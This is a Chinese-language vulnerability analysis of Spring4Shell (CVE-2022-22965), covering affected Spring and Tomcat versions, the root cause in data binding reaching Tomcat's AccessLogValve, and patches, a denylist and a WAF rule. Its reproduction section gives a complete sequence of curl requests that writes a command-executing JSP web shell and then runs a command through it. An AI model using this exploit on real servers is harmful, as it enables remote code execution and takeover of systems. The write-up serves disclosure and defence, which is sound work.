一、漏洞简介¶
1.1 漏洞背景¶
Spring4Shell(又称 SpringShell)是一个影响 Spring Framework 的远程代码执行漏洞。虽然这不是 Tomcat 本身的漏洞,但由于 Tomcat 是 Spring Boot 的默认嵌入式服务器,且该漏洞的利用依赖于 Tomcat 的 AccessLogValve 特性,因此在此一并讨论。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2022-22965 |
| 危害等级 | CRITICAL / 9.8 |
| 漏洞类型 | Spring4Shell RCE 漏洞 |
| 披露时间 | 2022-04-01 |
| 影响组件 | Apache Tomcat 历史 |
- CVE 编号:CVE-2022-22965
- 危害等级:Critical(严重)
- 披露时间:2022年3月
- 漏洞类型:远程代码执行(RCE)
- CVSS 评分:9.8(严重)
补充核验信息:公开时间:2022-04-01;NVD 评分:9.8(CRITICAL);CWE:CWE-94。
二、影响范围¶
2.1 受影响的版本¶
| 组件 | 受影响范围 |
|---|---|
| Spring Framework | 5.3.0 ~ 5.3.17 / 5.2.0 ~ 5.2.19 |
Tomcat 作为运行容器时: - Tomcat 9.x(所有版本) - Tomcat 8.x(所有版本) - Tomcat 10.x(所有版本)
2.2 不受影响的版本¶
| 组件 | 修复版本 |
|---|---|
| Spring Framework | ≥ 5.3.18 / ≥ 5.2.20 |
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- JDK 9+(包含
getClass().getModule().getClassLoader()方法) - Spring Framework 5.3.0 - 5.3.17 或 5.2.0 - 5.2.19
- 部署在 Tomcat 容器中(WAR 包部署方式)
- 使用 Spring 的数据绑定功能(如
@RequestMapping接收 POJO 参数)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
该漏洞利用了 Spring 的数据绑定(Data Binding)功能与 JDK 9+ 引入的模块系统相结合的特性链:
- Spring 数据绑定:允许通过请求参数自动绑定到 Java 对象属性
- 类加载器访问链:
class.module.classLoader.resources.context.parent.pipeline.first.pattern- 这条调用链最终可以访问到 Tomcat 的
AccessLogValve - 修改 Tomcat 配置:通过修改
AccessLogValve的属性,可以控制 Tomcat 的访问日志格式和位置 - 写入恶意 JSP:通过精心构造的日志格式,将恶意 JSP 代码写入 webapps 目录
- 执行代码:访问写入的 JSP 文件,执行任意命令
3.2 源码层面的根因分析(结合源码与补丁对比)¶
攻击链路径:
User.class
-> getClass().getModule() // JDK 9+ 新增
-> getClassLoader() // Tomcat's ParallelWebappClassLoader
-> getResources()
-> getContext()
-> getParent()
-> getPipeline()
-> getFirst() // AccessLogValve
关键代码段:
// Spring 的 BeanWrapperImpl 允许嵌套属性访问
BeanWrapperImpl wrapper = new BeanWrapperImpl(user);
// 攻击者可以通过请求参数设置深层嵌套属性
wrapper.setPropertyValue("class.module.classLoader.resources.context.parent.pipeline.first.pattern", maliciousPayload);
四、漏洞复现(可选)¶
4.1 环境搭建¶
# 使用 Docker 搭建漏洞环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/spring/CVE-2022-22965
docker-compose up -d
4.2 PoC 演示与测试过程¶
# 步骤1:修改 AccessLogValve 的 pattern 属性
curl -X POST "http://target:8080/app/add" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "prefix: <%25" \
-H "suffix: %>i" \
-d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20if(%22a%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di"
# 步骤2:设置日志文件后缀
curl -X POST "http://target:8080/app/add" \
-d "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
# 步骤3:设置日志目录
curl -X POST "http://target:8080/app/add" \
-d "class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT"
# 步骤4:设置日志文件前缀
curl -X POST "http://target:8080/app/add" \
-d "class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell"
# 步骤5:设置文件名日期格式为空
curl -X POST "http://target:8080/app/add" \
-d "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
# 步骤6:触发日志写入(发送任意请求)
curl "http://target:8080/app/"
# 步骤7:执行命令
curl "http://target:8080/shell.jsp?pwd=a&cmd=id"
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
| 当前版本 | 升级目标 |
|---|---|
| Spring 5.3.x < 5.3.18 | 升级至 5.3.18+ |
| Spring 5.2.x < 5.2.20 | 升级至 5.2.20+ |
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
- 设置 disallowedFields(Spring 5.3.17+ 临时修复):
@ControllerAdvice
public class BinderAdvice {
@InitBinder
public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);
}
}
-
使用 JDK 8:虽然不是推荐做法,但 JDK 8 不包含
getModule()方法,可暂时阻止攻击链。 -
WAF 规则:
# 拦截包含 class.module 的请求参数
SecRule ARGS "@contains class.module" "deny,status:403"
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- https://tanzu.vmware.com/security/cve-2022-22965
- https://cert-portal.siemens.com/productcert/pdf/ssa-254054.pdf
- https://www.oracle.com/security-alerts/cpujul2022.html
- https://github.com/vulhub/vulhub.git
- https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965
6.2 其他技术参考资料¶
- NVD:https://nvd.nist.gov/vuln/detail/CVE-2022-22965
- CVE:https://www.cve.org/CVERecord?id=CVE-2022-22965
- https://tanzu.vmware.com/security/cve-2022-22965
- https://cert-portal.siemens.com/productcert/pdf/ssa-254054.pdf
- https://www.oracle.com/security-alerts/cpujul2022.html
- http://packetstormsecurity.com/files/167011/Spring4Shell-Spring-Framework-Class-Property-Remote-Code-Execution.html
- https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2022-0005
- https://github.com/vulhub/vulhub.git